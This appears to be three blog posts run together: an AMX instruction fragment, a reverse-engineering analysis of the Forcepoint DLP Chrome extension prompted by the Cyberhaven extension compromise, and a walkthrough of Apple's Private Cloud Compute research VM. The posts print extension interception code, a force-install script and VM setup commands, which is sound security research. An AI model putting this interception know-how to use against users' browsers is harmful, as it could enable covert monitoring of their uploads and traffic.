The generate mode of Apple AMX's genlut instruction functions as an inverse operation to vpshufb, primarily used for quantization. In this mode, genlut reads a full 512-bit (64-byte) vector of data from the source and produces a packed vector of indices. The process involves searching the table register for each lane in the source vector. It finds the minimum value 'v' such that table[v] > source_lane, and then writes the index value 'v - 1', or '-1' if no such 'v' is found.

This operation supports arbitrary 2, 3, 4, or 5-bit quantization, depending on the mode selected. Modes 0, 2, 3, and 5 perform 4-bit quantization, allowing for 16 levels, while modes 1, 4, and 6 use 5-bit quantization, providing 32 levels. The resulting quantized indices are densely packed into the low bytes of an X or Y register, with the remaining bytes cleared to zero. This packed result can be used directly in subsequent lookup operations, enabling efficient piecewise linear approximations of complex functions.

The Future of AMX

Before Armv9 was even on the horizon, the usage of AMX itself was controversial. ARM typically does not allow custom ISA extensions and the main legal concern is that while developers can use AMX, ARM might take issue if non-Apple entities start using it in production, potentially leading to ARM restricting future chip functionality.

AMX also introduces a new EL0 state, requiring changes to the ARM64 kernel’s context-switching mechanisms to handle additional register states. However, integrating these changes directly into the core ARM64 architecture code is complex and may not be welcomed upstream due to the proprietary nature of AMX and potential objections from ARM.

With the introduction of the Apple M4 chip, Apple finally adopted the Armv9 ISA which also brings the support of SVE to Apple platforms.

Cover Illustration by buruberrii_

While we discussed previously about how endpoint-based DLP/EDR agents work in macOS, there is another component of endpoint security systems that are often overlooked and that is the browser extension component. Endpoint Security systems, especially DLPs, use the browser extension component to intercept web traffic and inspect uploaded/downloaded files.

This came into focus unexpectedly with the news that Cyberhaven DLP’s Chrome Extension was compromised by a threat actor over the holidays.

What happened?

On December 24th, 2024, at approximately 5:24 PM UTC, a targeted advanced attack successfully occurred on a Cyberhaven employee. The attacker used the access gained in this attack to publish a malicious Chrome extension (version 24.10.4) to the Chrome Web Store in the early morning of December 25th, 2024.

Cyberhaven's internal security team detected the attack at 11:54 PM UTC on December 25th, 2024. Cyberhaven removed the malicious package within 60 minutes of detection.

What was the impact?

For browsers running the compromised plugin, it is possible for sensitive information, including authenticated sessions and cookies, to be exfiltrated to the attacker's domain (cyberhavenext[.]pro) The exfill domain was online from 1:32AM UTC December 25th, 2024 until 2:50AM UTC on December 26th, 2024 What we recommend on impacted endpoints

Verify that the impacted Cyberhaven Chrome extension version 24.10.4 is updated to 24.10.5 or newer Revoke/rotate all passwords that aren't FIDOv2 Revoke/rotate all API tokens Review all logs to verify no malicious activity Versions not hosted on the Chrome store (Firefox, edge) were not affected Next steps

Cyberhaven will continue its investigation into this incident and update its customers accordingly We are working on providing additional telemetry and additional threat intelligence and will share it with impacted customers as soon as possible Cyberhaven has engaged Mandiant and Federal Law Enforcement to help in this investigation One of Cyberhaven's core values is maximum transparency, and we are acting on these first principles to retain the trust we have earned from you. We will continue to keep you updated and support you in every way possible to mitigate the impact of this incident.

Additional information about the incident:

This incident only impacted machines running Chrome-based browsers that were updated via the Google Chrome Web Store.

After an in-depth review, the only compromise at Cyberhaven was a single admin account for the Google Chrome Store that allowed the attacker to push a malicious Chrome extension and bypass Cyberhaven controls; there was no other attack vector or any additional compromised accounts, including our CI/CD processes or code signing keys. The only impacted version of the plugin is 24.10.4. It only affected machines that were online between 1:32 AM UTC on December 25th, 2024 and 2:50 AM UTC on December 26th, 2024.

We know the attack did not clean up the Chrome data store, so we have included instructions below that your security teams can use to verify what if any, data was exfiltrated. Cyberhaven will be publishing a new Chrome extension (version 24.10.6) that will leverage this new information to gather additional telemetry to narrow down the scope of possible compromised machines; also, this data will allow us to narrow down the scope of possible compromised browsers and understand what if any, data was exfiltrated

Whats a DLP?

Data Loss Prevention (DLP) solutions are security tools that inspect data in-motion (network traffic), at-rest (stored data), and in-use (endpoint actions) to identify and control sensitive data movement based on predefined or custom policies. They operate at network, storage, and OS levels with capabilities for monitoring, blocking, decrypting, or quarantining data that matches sensitive patterns like PII, financial data, or intellectual property.

But why do DLPs need their own Chrome plugin? At a technical level DLPs are similar to EDRs, the main difference is just the ruleset they abide by, so why can’t they just use the agent they already have installed that have root privileges and network monitoring capabilities anyways?

Modern web browsers like Chrome implement a sophisticated security model where each tab and process runs in an isolated sandbox environment. This architectural design prevents traditional OS-level monitoring tools from directly observing or controlling network operations within the browser. The browser's own network stack handles complex protocols, TLS/SSL sessions, connection pooling, and resource prioritization independently of the operating system's network stack.

DLP providers require Chrome extensions because they need privileged access to browser-specific APIs that can intercept and analyze data transfers before they enter the encrypted TLS tunnel. These extensions can tap into chrome.webRequest, chrome.downloads, chrome.tabs, and chrome.storage APIs, providing critical capabilities like pre-TLS content inspection, DOM access for monitoring form uploads, and context awareness to track the exact origin of data transfers. The extension model also gives DLP solutions direct access to browser events and the JavaScript runtime, enabling them to detect and analyze dynamic content uploads through modern web APIs.

While the threat of malicious Chrome extensions have been well known for quite sometime, and sysadmins have mostly migrated to more secure Chrome deployments by limiting extension installation, i always have seen Plugin-based DLP solutions like Cyberhaven, and on this instance Forcepoint, as a weak spot. These are highly privileged addons that are intended to be installed by sysadmins in a wide IT deployment and they’re rarely audited beforehand because of course its a security product, its supposed to be intrusive.

As chrome extensions also operate cross-platform, the material presented here is relevant to both macOS and Windows installations. This post will also focus on a specific chromium extension-based implementation from Forcepoint Endpoint, but i expect other solutions implement similar mechanisms in terms of delivery and interception methods.

Delivery Method

In researching for this issue, i've found this chinese article about how Forcepoint embeds their add-on into Chrome and Firefox which i found unique. It seems like despite being an old dissection of the delivery logic, the implementation remains the same till now.

There is a bash script located in the main installation path for Forcepoint in /Library/Application Support/Websense Endpoint/DLP. This script manages the checking of Chrome's existence and the forceful installation of the add-on.

#!/bin/bash

CUT="/usr/bin/cut"
LSOF="/usr/sbin/lsof"
PS="/bin/ps"
PROFILES="/usr/bin/profiles"
GREP="/usr/bin/grep"

PIDS=`$PS -axc -o pid,command | $GREP "Google Chrome" | $GREP -v "Google Chrome Helper" | $CUT -c 1-5`

LIBWEP_HOOKED=0
if [ ${#PIDS[@]} -gt 0 ]
then
    for pid in $PIDS
    do
        CNT=`"$LSOF" -P -T -p $pid | grep libwep_chrome.dylib | wc -l`
        if [ $CNT == 1 ]
        then
            LIBWEP_HOOKED=1
        fi
    done
fi

if [ $LIBWEP_HOOKED == 1 ]
then
    echo "Configuring the chrome extension profile..."
    $PROFILES -I -F "/Library/Application Support/Websense Endpoint/DLP/WebsenseEndpointExtension.config"
fi

This script (setup_chrome_ext.sh) is designed to check if the Google Chrome browser is running on the system and if a specific library, libwep_chrome.dylib, is loaded by any of the Chrome processes. Then, it uses these utilities to get a list of process IDs (PIDs) for Chrome processes, excluding the "Google Chrome Helper" process.

For each Chrome PID, it checks if the libwep_chrome.dylib library is loaded using the lsof command. If the library is loaded for at least one Chrome process, the script assumes that a specific Chrome extension is installed and proceeds to execute the profiles command with the -I -F options and a configuration file path (/Library/Application Support/Websense Endpoint/DLP/WebsenseEndpointExtension.config).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadIdentifier</key>
<string>com.websense.WebsenseEndpointExtension</string>
<key>PayloadRemovalDisallowed</key>
<false />
<key>PayloadScope</key>
<string>System</string>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>5A93F4FD-5894-4396-856C-0AD9A0537752</string>
<key>PayloadOrganization</key>
<string>Websense</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>PayloadDisplayName</key>
<string>WebsenseEndpoint</string>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadType</key>
<string>com.apple.ManagedClient.preferences</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>PayloadIdentifier</key>
<string>com.websense.WebsenseEndpointExtension.E503A43D-BE99-4D26-B9F4-8434364012F7</string>
<key>PayloadUUID</key>
<string>E503A43D-BE99-4D26-B9F4-8434364012F7</string>
<key>PayloadEnabled</key>
<true />
<key>PayloadDisplayName</key>
<string>Google Chrome</string>
<key>PayloadContent</key>
<dict>
<key>com.google.Chrome</key>
<dict>
<key>Forced</key>
<array>
<dict>
<key>mcx_preference_settings</key>
<dict>
<key>ExtensionInstallForcelist</key>
<array>
<string>ljckpacopljdanbdkdddedlackndojmf</string>
</array>
</dict>
</dict>
</array>
</dict>
</dict>
</dict>
</array>
</dict>
</plist>

WebsenseEndpointExtension.config itself is then used to force the installation of the Chrome extension by leveraging the "Managed Client" feature in macOS. Specifically, it uses the com.apple.ManagedClient.preferences payload type to manage the preferences for the Google Chrome application. Within the Chrome preferences, it defines an "ExtensionInstallForcelist" array under the "mcx_preference_settings" key, which contains the extension ID "ljckpacopljdanbdkdddedlackndojmf".

When this configuration profile is deployed and applied to a macOS system, the Managed Client service interprets the forced preferences and instructs Google Chrome to install the specified extension ID from the Chrome Web Store, essentially bypassing the normal user-initiated installation process.

The Extension Itself

The ljckpacopljdanbdkdddedlackndojmf extension is called “Forcepoint Endpoint”. Its around 36 KB and doesn't have alot of content. The main logic of the extension is contained in the background.js file.

At the foundation of the interception system lies the primary request listener that captures all outgoing requests. The extension registers this listener using Chrome's webRequest API:

chrome.webRequest.onBeforeRequest.addListener(function(e) {
    return "POST" != e.method && "PUT" != e.method || (o[e.requestId] = e.requestBody), {
        cancel: false
    }
}, {
    urls: ["<all_urls>"]
}, ["blocking", "requestBody"]);

This listener focuses specifically on POST and PUT requests, which are typically used for file uploads and data submissions. When such a request is detected, the extension stores the request body in a temporary cache (object 'o'). The use of "<all_urls>" as the pattern means the extension monitors all web traffic, not just specific domains or protocols.

The main interception logic occurs in the onBeforeSendHeaders listener. This component performs deep inspection of requests and determines whether they should be allowed or blocked:

chrome.webRequest.onBeforeSendHeaders.addListener(function(r) {
    if (0 == O || "POST" != r.method && "PUT" != r.method) return {
        cancel: false
    };

    if (null != r.url.match(/https?\:\/\/localhost\:55296\/ChromeExt\//i) || 
        null != r.url.match(/mail\.google\.com\/cloudsearch/i)) {
        return { cancel: false }
    }

The extension implements sophisticated request filtering that takes into account various factors. It maintains a cache cleanup mechanism to prevent memory leaks. This cleanup function removes cached requests that are older than 30 seconds, ensuring efficient memory usage during long browsing sessions.

function T() {
    var e, t = (new Date).getTime();
    for (e in D) 3e4 < t - D[e] && delete D[e]
}

The extension performs detailed content analysis, particularly focusing on file uploads and attachments. It includes special handling for various file upload mechanisms. These functions handle different types of file uploads, with special consideration for Google's upload protocol and multipart form data. The boundary detection function is particularly important for parsing multipart form data correctly.

function B(e) {
    for (var t of e)
        if ("x-goog-upload-protocol" == t.name.toLowerCase()) 
            return true;
    return false;
}

function x(e) {
    var t = "boundary=",
        r = "",
        n = e.search(t);
    return -1 != n && (n += t.length, '"' == (r = -1 == (t = e.search("\r\n")) ? 
           e.substr(n) : e.substr(n, t)).charAt(0) && 
           (r = r.slice(1, r.length - 1))), r
}

The plugin communicates with a local server running on port 55296. This server is a part of the broader Forcepoint Websense DLP system.

function I() {
    return l ? "https://localhost:55296/ChromeExt/" : "http://localhost:55296/ChromeExt/"
}

When the extension intercepts a request, it forwards relevant information to this local server. The extension includes detailed metadata about each request in custom headers, allowing the local server to make informed decisions about whether to allow or block the request.

var y = new XMLHttpRequest;
y.open("POST", I() + X, b);
y.setRequestHeader("X-Email-Url", r.url);
y.setRequestHeader("X-Status", r.statusCode);
y.setRequestHeader("X-Referrer", r.originUrl);
y.setRequestHeader("X-Initiator", r.initiator);
y.setRequestHeader("X-Private", "false");

The extension pays special attention to email systems, particularly Gmail and Yahoo Mail. It includes specific patterns for monitoring these services. When an error occurs during email attachment uploads, the extension can trigger a page reload to ensure proper functionality.

var H = "ALLOW",
    O = !1,
    U = !1,
    D = {},
    X = "12345678",
    o = {},
    e = ["https://mail.google.com/*", "https://mail.yahoo.com/*"],
    r = ["mail\\.google\\.com\\/sync", "mail\\.yahoo\\.com\\/ws\\/v3\\/batch\\?name=messages"],
    a = {},
    l = !0;

// [...]

chrome.webRequest.onErrorOccurred.addListener(function(t) {
    if (void 0 !== t && "POST" == t.method && 
        "net::ERR_BLOCKED_BY_CLIENT" == t.error) {
        let e = new RegExp(r.join("|"), "i");
        e.test(t.url) && chrome.tabs.query({
            active: true,
            currentWindow: true
        }, function(e) {
            chrome.tabs.reload(e[0].id)
        })
    }
}, {
    urls: e
});

The content script component of the extension monitors file input elements on web pages, allowing it to detect when users attempt to upload files. This monitoring system uses MutationObserver to detect dynamically added file inputs, ensuring comprehensive coverage of all possible file upload attempts on a page.

function t() {
    var e;
    for (e of document.body.getElementsByTagName("input")) 
        if ("file" === e.type && void 0 === e._fp_processed) {
            e.addEventListener("click", o, true);
            e._fp_processed = true;
        }
}

const e = new MutationObserver(function(e) {
    t()
});
e.observe(document.body, {
    childList: true,
    subtree: true
});

Verifications

At the core of the extension's security is its authentication system with a local server. This system ensures that the extension is genuine and actively managed by the organization's security infrastructure. The authentication process begins with a periodic check to the local server. The plugin establishes a heartbeat connection with the local security server. The extension validates itself every 15 seconds, switching between HTTPS and HTTP if needed, and maintains a state flag (O) that determines whether the extension is authorized to intercept traffic. The use of the extension ID in the authentication request creates a unique identifier for each installation.

function i() {
    var t, e = new XMLHttpRequest;
    e.onreadystatechange = function() {
        4 == e.readyState && (200 == e.status ? 
            (U = "MOMOMO" == e.responseText, O = !0) : 
            0 == e.status || 500 == e.status ? O = !1 : 
            (O = !0, console.log("GET response ERROR code: " + e.status)))
    };
    e.addEventListener("error", function(e) {
        l ? (l = !1, i(), clearTimeout(t)) : l = !0
    });
    e.open("GET", I() + chrome.runtime.id, !0);
    e.send();
    t = setTimeout(i, 15e3)
}

The extension implements a request tracking system that prevents duplicate uploads and maintains an audit trail. This system uses MD5 hashing to create unique fingerprints of requests.

var v = L(m += l + w);
T();
if (v in D) {
    return { cancel: true };
}
D[v] = r.timeStamp;

Content Parsing

The extension performs content inspection, particularly focusing on file uploads and attachments. It implements specialized parsers for different types of content, including multipart form data and specialized upload protocols.

function x(e) {
    var t = "boundary=",
        r = "",
        n = e.search(t);
    if (-1 != n) {
        n += t.length;
        r = -1 == (t = e.search("\r\n")) ? 
            e.substr(n) : e.substr(n, t);
        if ('"' == r.charAt(0)) {
            r = r.slice(1, r.length - 1);
        }
    }
    return r;
}

This boundary detection function is crucial for accurately parsing multipart form data, which is commonly used for file uploads. The extension uses this information to properly separate and analyze individual parts of the upload content.

The extension implements a comprehensive file upload control system that operates at multiple levels. At the DOM level, it monitors file input elements.

function t() {
    var e;
    for (e of document.body.getElementsByTagName("input")) {
        if ("file" === e.type && void 0 === e._fp_processed) {
            e.addEventListener("click", o, !0);
            e._fp_processed = !0;
        }
    }
}

const e = new MutationObserver(function(e) {
    t()
});
e.observe(document.body, {
    childList: !0,
    subtree: !0
});

This creates a monitoring system that catches all file upload attempts, even on dynamically loaded content. When a file input is clicked, the extension notifies the background script.

function o(e) {
    window.addEventListener("focus", n);
    chrome.runtime.sendMessage({
        type: "open_file_dialog"
    });
}

The extension includes specialized handling for Microsoft OneDrive's upload protocol. This parser specifically looks for OneDrive's upload session creation endpoints. It decodes the URL and extracts the relevant path information. The function is designed to handle OneDrive's specific URL format where file paths are embedded within the URL structure.

function P(e) {
    var t = decodeURIComponent(e),
        r = "",
        n = t.lastIndexOf(":/oneDrive.createUploadSession");
    if (-1 != n) {
        e = t.substr(0, n).lastIndexOf(":/");
        if (-1 != e) {
            r = t.slice(e += ":/".length, n);
        }
    }
    return r;
}

The extension implements specialized parsing for Microsoft 365 SharePoint URLs and uploads. This parser handles SharePoint's specific URL encoding format. It first decodes the URL, then looks for specific patterns that indicate file operations. The parser is designed to extract the actual file path from SharePoint's complex URL structure.

function E(e) {
    var t = decodeURIComponent(e),
        r = y(t);
    if ("" == r) return "";

    e = t.indexOf(r += "='");
    if (-1 == e) return "";

    e += r.length;
    r = t.substr(e).indexOf("'");
    return -1 == r ? t.substr(e) : t.substr(e, r)
}

The extension also includes special handling for Google Drive's upload protocol. Google Drive uses different upload protocols depending on the file size and type, with smaller files using a simple direct upload where the entire file is sent in a single request.

function B(e) {
    for (var t of e)
        if ("x-goog-upload-protocol" == t.name.toLowerCase()) 
            return true;
    return false;
}

When multi-part uploads are detected, the extension applies specific processing rules. Multi-part connections happen when uploading multiple files simultaneously, when metadata needs to be sent along with the file content, when using the browser's FormData API for uploads, or when uploading through the Google Drive API's multipart endpoint.

if ("PUT" == r.method && 0 == B(r.requestHeaders)) {
    S(r.requestId);
    return { cancel: false };
}

The extension implements a form data processing that can handle both standard form data and file uploads. This code shows how the extension processes form data, handling both file names and actual content. It includes size limits (524288 bytes) to prevent memory issues with large uploads, and it carefully formats the multipart data according to HTTP standards.

if (c.formData && null != c.formData) {
    for (var R in c.formData) {
        for (let e = 0; e < c.formData[R].length; e++) {
            if (null != c.formData[R][e]) {
                if (null != c.formData[R][e].match(/^[\w\s-\.\)\(]+\.[\w]{1,5}$/)) {
                    l += c.formData[R][e] + "\n";
                } else {
                    if ("" != i) {
                        s += "\r\n--" + i;
                        s += "\r\nContent-Disposition: form-data; ";
                        s += 'name="' + R + '"\r\n\r\n';
                    }
                    s += c.formData[R][e].substring(0, 
                         Math.min(524288, c.formData[R][e].length));
                }
            }
        }
    }
}

For raw binary uploads, the extension implements specialized buffer handling. It uses TypedArrays and ArrayBuffers for binary data handling, crucial for processing large file uploads by combining multiple chunks into a single buffer when necessary.

if (null != c.raw) {
    for (let e = 0; e < c.raw.length; e++) {
        if (null != c.raw[e].bytes) {
            u = null == u ? c.raw[e].bytes : (
                t = new ArrayBuffer(u.byteLength + c.raw[e].bytes.byteLength),
                n = new Uint8Array(t),
                a = new Uint8Array(u),
                o = new Uint8Array(c.raw[e].bytes),
                n.set(a, 0),
                n.set(o, a.length),
                t
            );
        } else if (null != c.raw[e].file) {
            l += c.raw[e].file + "\n";
        }
    }
}

Policy Enforcement

The extension communicates with the local server to make blocking decisions. It sends detailed metadata about each request, including the URL, status, referrer, and file information. The server's response determines whether the request should be allowed or blocked.

var y = new XMLHttpRequest;
y.open("POST", I() + X, b);
y.setRequestHeader("X-Email-Url", e.url);
y.setRequestHeader("X-Status", e.statusCode);
y.setRequestHeader("X-Referrer", e.originUrl);
y.setRequestHeader("X-Initiator", e.initiator);
y.setRequestHeader("X-Private", "false");
y.setRequestHeader("X-Attach-File", btoa(unescape(encodeURIComponent(m))));

try {
    y.send(w);
} catch (e) {
    O = !1;
}

if (4 == y.readyState) {
    if (200 == y.status) {
        H = y.responseText;
    } else if (0 == y.status || 500 == y.status) {
        O = !1;
    } else {
        console.log("POST response ERROR code: " + y.status);
        H = "BLOCK";
    }
}

Conclusions

To be fully honest, I’m not really sure about whats the solution here. Alternative approaches like proxy-based monitoring, HTTPS inspection, network drivers, or OS-level hooks fall short because they either cannot handle encrypted traffic without complex PKI infrastructure, lack browser-specific context, or miss operations happening within the browser sandbox.

But what i can say is that DLP solutions are often employed by overly paranoid workplaces seeking to monitor their user behaviors. And instead of pitching their capabilities to protect data from leaking or being exposed publically, many DLP vendors tout more… creative ways to use their product.

Limiting what people can read on Twitter? Blocking likes in Facebook? What business or security case you can make for doing such things? Its very clear who these tools are marketed towards, and they’re not even hiding it. I also take issue with the fact that they’re pitching these for firms who wanna install them on the personal devices of workers, which is a whole other can of worms.

Honestly, the solution is just don’t use these things. Trust me, there is no business case to spy on my three hour doomscrolling session.

Cover Illustration by onigiriice
———————————————————————————————————————

The article contains partial content similar to Matteyeux’s article on the PCC VRE, for more observations about the firmware and its debuggability see the article here

During the development of the iPhone 5s, Apple wanted to do biometrics login with fingerprint scanners but needed a way to store them securely. They have bought the provider of the hardware that will eventually be Touch ID, but needed a way to securely store these biometrics data. If people were gonna give their fingerprint data, they needed to be convinced that it would be safe, unless they want a PR nightmare.

Thus they created the Secure Enclave Processor (SEP), which was built around a dedicated ARMv7a "Kingfisher" core, completely separate from the main application processor (it was not ARM TrustZone, contrary to some accounts). The SEP's isolation ensures that even EL3 (highest privilege level) on the main processor cannot access the Secure Enclave.

Overtime, the responsibility of the Secure Enclave grew to storing banking credentials for Apple Pay, deployment of secure memory regions for trusted execution, secure booting, encryption acceleration, and many more. Today, storing sensitive data feels like second nature, and we trust its security.

With the advent of Generative AI, companies have been rushing to implement LLMs and Image Generation technologies with little to no concern for privacy. Apple is suddenly thrusted into the same dilemma they faced in 2013, as a Pew Research Center survey said that 70% of people say they have little to no trust in companies to make responsible decisions about how they use AI in their products and 81% say the information companies collect will be used in ways that people are not comfortable with.

Early Leaps, Later Bottlenecks

Apple has pride itself on using less memory compared to its competitors, due to its investments in effective memory management for the Darwin kernel which uses Automatic Reference Counting (ARC) as opposed to Android’s use of regular Garbage Collection.

ARC works by having the compiler manually add commands to allocate and release objects (memory) exactly when needed / done. There is overhead with this allocation/deallocation process. However, you end up only having to allocate exactly what you need and the deallocation process occurs in a very predictable manner so as not to interrupt the performance of other processes. GC on the other hand uses an asynchronous process to randomly go through cycles to check and see which memory can be deallocated

This is why iPhones for years have been comfortable with 6 GB of RAM, while flagship Android devices have hit 16 GB even 24 GB of RAM. But this came to bite them when they want to start doing on-device AI inference, which are notoriously memory hungry. Despite efforts like OpenELM, Apple still cannot escape the need to run models in the cloud.

While hardware advances, its likely that advances within LLMs and ImageGen technologies will surpass what is ever capable to be run within mobile battery-powered devices. Seperating data from ML models is hard, because ML models memorize data encoded in their weights as part of training. So there are several ways currently being pursued to do this task, such as :

• Machine Unlearning, which is a scheme to remove data from a model. Unfortunately, further proof has shown it to be impossible to formally prove by just querying a model

• Secure Multi-Party Computation (SMC), which enables multiple parties to jointly do inference with private data without revealing the actual data to each other through cryptographic protocols, but this requires significant computational overhead

• Homomorphic Encryption (HE), which is a method to do complex mathematical operations (including inference) on encrypted data without compromising the encryption. This field has received alot of attention, with scalable solutions like the Brakerski-Fan-Vercauteren Scheme being used by Apple on some smaller ML workloads

• Confidential Computing, which is the isolation of data and workloads within a protected central processing unit (CPU) while it is being processed, this is the solution favored by giants like Google and Apple, and which will be the focus of today’s article

Private Cloud Compute

Private Compute Compute (PCC) was created to solve this very issue, a way to run stateless inference in the cloud. This means that while your data goes to the cloud, the data and the model itself won’t accessible and used for further AI training.

Stated by the website itself, PCC has a few key design goals :

• Stateless computation: Use personal data only for the immediate task, then delete it completely. No storing or saving allowed

• Enforceable guarantees: All parts of the system must be verifiablee to ensure they're following the rules

• No special access: Even system administrators can't bypass privacy protections

• Non-targetability: Attackers shouldn't be able to target specific users - they'd have to try attacking everyone at once

• Verifiable transparency: Outside experts must be able to check that the system actually does what we say it does

This article will attempt to dive more into the security and hardening attempts of CloudOS, but more indepth research will probably be done by people way more talented than i am. I see myself more as a tourist, than a tour guide, for this topic.

To do so, we need to setup the PCC Virtual Research Environment (VRE), which is a part of the macOS 15.1 Developer Preview. The installation process is nearly identical, in that you will need to allow your Mac to run security research VMs, which you can configure within the RecoveryOS terminal by running the following command :

csrutil allow-research-guests enable

The tools is located in /System/Library/SecurityResearch/usr/bin, and requires you to set your shell’s PATH to includes this directory. With iTerm i did this by putting export PATH=$PATH:/System/Library/SecurityResearch/usr/bin at the bottom of my ~/.zshrc file.

After this you’ll need to agree to the license using sudo pccvre license, which grants you research usage to the code and assets within the PCC Virtual Research. Uniquely, this license only grants usage for the VRE for 90-days, which I’m not exactly sure how they’re going to enforce in an open-source project. After agreeing, we can interact fully with the VRE.

We can start by listing the available releases available for download, and then downloading them. When a PCC VRE release has already been downloaded, it does a simple hash check to ensure the integrity of the version that you have on-device. For this instance we are going to use version 1245 which was the latest version at the time of writing, however the example below also shows downloading of a release with a similar hash (1244) and the downloading of a release that is not yet in disk (1242).

Then you can create an instance using pccvre instance create, which will show you the iBoot Serial Console output and the detailed process of the instance.

When the PCCVRE tool is done creating an instance, it will be in an inactive state so to start interacting with it you will need to spin it up. But before doing so, we can interact with the PCC VRE using the darwin-init tool.

➜  ~ pccvre instance configure darwin-init dump -N testing
{
  "apply-timeout" : "60min",
  "config-security-policy-version" : 8,
    "cryptex" : [
    {
      "url" : "f81cafe498a1081049be16f3c7bc58468d3cb7722aebe365632d99fc0f8a389a.aar",
      "variant" : "FM_LANGUAGE_SECURITY_RESEARCH_V1"
    },
    {
      "url" : "2bd63bffc9f8fb5f6827ce5cd4dbbed05f9a7afaad50e01f6c2f71f4fa2796e5.aar",
      "variant" : "PrivateCloud Support"
    },
    {
      "url" : "74301a8be3c61debc1377a80b7eeebfbab36639176a5192768ebfe4ccc368a37.aar",
      "variant" : "Debug Shell for Private Cloud Security Research VM"
    }
  ],
  "log" : {
    "system-log-privacy-level" : "Public",
    "system-logging-enabled" : false
  },
  "preferences" : [
    {
      "application_id" : "com.apple.cloudos.cloudOSInfo",
      "key" : "cloudOSBuildVersion",
      "value" : "3B5621j.1"
    },
    {
      "application_id" : "com.apple.cloudos.cloudboardd",
      "key" : "GRPC",
      "value" : {
        "ListeningIP" : "0.0.0.0",
        "UseSelfSignedCertificate" : true
      }
    },
    {
      "application_id" : "com.apple.cloudos.cloudOSInfo",
      "key" : "serverOSReleaseType",
      "value" : "Darwin Cloud Customer Install"
    },
    {
      "application_id" : "com.apple.cloudos.cloudOSInfo",
      "key" : "cloudOSReleaseType",
      "value" : "Private cloudOS Customer"
    }
  ],
  "result" : {
    "failureAction" : "exit"
  },
  "secure-config" : {
    "com.apple.logging.crashRedactionEnabled" : true,
    "com.apple.logging.logFilteringEnforced" : true,
    "com.apple.logging.metricsFilteringEnforced" : true,
    "com.apple.logging.policyPath" : "/private/var/PrivateCloudSupport/opt/audit-lists/customer/",
    "com.apple.pcc.research.disableAppleInfrastrucutureEnforcement" : true,
    "com.apple.tie.allowClientToOverrideConstraints" : false,
    "com.apple.tie.allowClientToOverridePromptTemplate" : false,
    "com.apple.tie.allowNonProdExceptionOptions" : false
  },
  "ssh" : true,
  "SSH_DISABLED-config-security-policy" : "customer",
  "user" : {
    "gid" : 0,
    "name" : "root",
    "ssh_authorized_key" : "ssh-rsa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
    "uid" : 0
  },
  "userspace-reboot" : "rem"
}

In the documentation, Apple says that the role of darwin-init is similar to Canonical’s cloud-init. Each PCC instance starts from a clean state with no configuration and only the base operating system, then darwin-init is responsible to load in additional required code and configurations from the server’s Baseboard Management Controller (BMC, or similar to lights-out chip solutions like HPE iLO or DELL iDRAC).

Configuration security is managed through the config-security-policy key, which darwin-init uses to enforce environment-specific constraints on allowable configuration options. This mechanism enables development flexibility while maintaining strict security controls in production environments.

The configuration policy state undergoes ratcheting into the Configuration Seal Register, making it available for verification through attestations by user devices. To maintain compatibility and simplify verification between client devices and nodes, the Configuration Seal Register contains only the policy state and specifically selected keys, rather than the complete darwin-init configuration. Within PCC's threat model, this configuration data is treated as attacker-controlled, with darwin-init permitting only configuration options that cannot compromise the system's security or privacy properties, with the safe configuration listed here.

The darwin-init configuration uses a JSON-like format, with several different things we can customize :

• Basic Configuration Parameters:

  • apply-timeout maximum time allowed for applying the configuration

  • config-security-policy-version version of the security policy being used

• cryptex to install on the node, here we can see that we have several cryptexes such as

  • FM_LANGUAGE_SECURITY_RESEARCH_V1 which is the miniaturized basic LLM model used in the PCC VRE

  • PrivateCloudSupport which contains Apple’s ML stack and support several other components

  • Debug Shell for Private Cloud Security Research VM which is a custom cryptex added as part of the VRE for gaining a shell inside of the PCC node, under normal circumstances this isn’t here

• log which is currently set to disabled and set to public privacy level, by default the PCC does not store application-level logs

• preferences Contains several important system configurations:

  • cloudOSBuildVersion 3B5621j.1

  • GRPC configuration for cloudboardd

    • Listening on all interfaces (0.0.0.0)

    • Using self-signed certificates

  • Server type Darwin Cloud Customer Install

  • Cloud type Private cloudOS Customer

• secure-config which contains various security-related settings

  • Crash redaction is enabled

  • Log and metrics filtering are enforced

  • Custom policy path for auditing

  • Certain infrastructure enforcement is disabled

  • TIE restrictions are in place

• user that sets SSH with root access

• userspace-reboot is set to "rem" (Restricted Execution Mode)

• Failure action is set to "exit"

Aside for the Debug Shell for Private Cloud Security Research VM cryptex, all of these settings are vanilla and should reflect what is being run in production systems at Apple PCC nodes. But these parameters are customizable in the PCC VRE, including features like downgrading certain security protection measures and enabling the collection of logs through the research variant. The VRE Interaction Manual also list ways to gather security telemetry and observability metrics for the PCC through a special configuration for the PCC VRE instance that is editable via the darwin-init tool.

When you’re done setting up your instance build, you can start the instance using the pccvre instance start command.

At a high level, the initial stage begins when Boot ROM validates the Image4 boot manifest, known as the APTicket. The APTicket implements cryptographic device personalization through SoC-specific binding using hardware identifiers and TSS-managed rotating anti-replay values. The manifest follows Apple's ASN.1-based Image4 specification, with measurements signed by Apple's Root CA and verified against the public key embedded in Boot ROM.

The Boot ROM's validation sequence performs cryptographic measurements of both iBoot and SEP firmware components through secure hash computations. These measurements must correspond exactly to the signed values in the APTicket manifest. The verification process encompasses ASN.1 structure validation, Root CA signature chain verification, and hardware-specific personalization validation including device identifiers (CPID, ECID) and anti-replay nonce verification.

The manifest validation enforces hardware-binding through cryptographic personalization where device-specific variables (UID, CPID, anti-replay nonces) are incorporated into the signature verification process. This binding ensures APTickets are non-transferable between devices and prevents replay attacks through the TSS-managed rotating values.

Upon successful verification, Boot ROM locks the measurements into two hardware registers:

• SEAL_DATA_A for the AP chain measurements

• SEAL_DATA for SEP measurements

These registers are write-once, creating an immutable record of the verified boot state that becomes integral to the device's attestation system. Only after this verification does the Boot ROM transfer execution control to iBoot. The SEAL register values, combined with other hardware-derived keys and measurements, form the basis for subsequent attestation operations through the Platform Key Accelerator (PKA), enabling remote verification of the device's secure boot state.

